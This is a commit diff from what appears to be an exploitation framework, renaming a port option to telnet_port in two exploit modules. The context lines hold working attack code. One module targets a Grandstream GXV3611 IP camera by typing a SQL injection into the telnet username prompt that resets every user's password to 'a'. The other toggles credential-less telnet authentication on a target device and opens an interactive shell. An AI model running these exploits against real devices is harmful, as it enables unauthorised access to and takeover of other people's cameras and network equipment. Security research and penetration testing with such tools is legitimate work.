Commit 8a42b983 by Marcin Bury Committed by Mariusz Kupidura

Changing option port to telnet_port (#261)

* Changing option port to telnet_port

* Grandstream GXV3611 IP Camera port to telnet_port
parent 937c4c5d
...@@ -27,14 +27,14 @@ class Exploit(exploits.Exploit): ...@@ -27,14 +27,14 @@ class Exploit(exploits.Exploit):
} }
target = exploits.Option('', 'Target IP address e.g. 192.168.1.1') # target address target = exploits.Option('', 'Target IP address e.g. 192.168.1.1') # target address
port = exploits.Option(23, 'Target port') # default port telnet_port = exploits.Option(23, 'Target port') # default port
def run(self): def run(self):
if self.check(): if self.check():
print_success("Target appears to be vulnerable...") print_success("Target appears to be vulnerable...")
try: try:
conn = telnetlib.Telnet(self.target, self.port) conn = telnetlib.Telnet(self.target, self.telnet_port)
conn.read_until("Username: ") conn.read_until("Username: ")
conn.write("';update user set password='a';--\r\n") # This changes all the passwords to 'a' conn.write("';update user set password='a';--\r\n") # This changes all the passwords to 'a'
conn.read_until("Password: ") conn.read_until("Password: ")
...@@ -70,7 +70,7 @@ class Exploit(exploits.Exploit): ...@@ -70,7 +70,7 @@ class Exploit(exploits.Exploit):
@mute @mute
def check(self): def check(self):
try: try:
conn = telnetlib.Telnet(self.target, self.port) conn = telnetlib.Telnet(self.target, self.telnet_port)
return 'Grandstream' in conn.read_until("login:") return 'Grandstream' in conn.read_until("login:")
except Exception: except Exception:
return False return False
...@@ -38,7 +38,7 @@ class Exploit(exploits.Exploit): ...@@ -38,7 +38,7 @@ class Exploit(exploits.Exploit):
} }
target = exploits.Option('', 'Target IP address', validators=validators.ipv4) target = exploits.Option('', 'Target IP address', validators=validators.ipv4)
port = exploits.Option(23, 'Target Port', validators=int) telnet_port = exploits.Option(23, 'Target Port', validators=validators.integer)
action = exploits.Option('set', 'set / unset credless authentication for Telnet service') action = exploits.Option('set', 'set / unset credless authentication for Telnet service')
device = exploits.Option(-1, 'Target device - use "show devices"', validators=int) device = exploits.Option(-1, 'Target device - use "show devices"', validators=int)
...@@ -180,11 +180,11 @@ class Exploit(exploits.Exploit): ...@@ -180,11 +180,11 @@ class Exploit(exploits.Exploit):
print_error("Specify action: set / unset credless authentication for Telnet service") print_error("Specify action: set / unset credless authentication for Telnet service")
return return
print_status("Trying to connect to Telnet service on port {}".format(self.port)) print_status("Trying to connect to Telnet service on port {}".format(self.telnet_port))
try: try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.target, int(self.port))) s.connect((self.target, int(self.telnet_port)))
print_status("Connection OK") print_status("Connection OK")
print_status("Received bytes from telnet service: {}".format(repr(s.recv(1024)))) print_status("Received bytes from telnet service: {}".format(repr(s.recv(1024))))
...@@ -209,7 +209,7 @@ class Exploit(exploits.Exploit): ...@@ -209,7 +209,7 @@ class Exploit(exploits.Exploit):
if self.action == 'set': if self.action == 'set':
print_status("Connecting to Telnet service...") print_status("Connecting to Telnet service...")
try: try:
t = telnetlib.Telnet(self.target, int(self.port)) t = telnetlib.Telnet(self.target, int(self.telnet_port))
t.interact() t.interact()
except: except:
print_error("Exploit failed") print_error("Exploit failed")
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment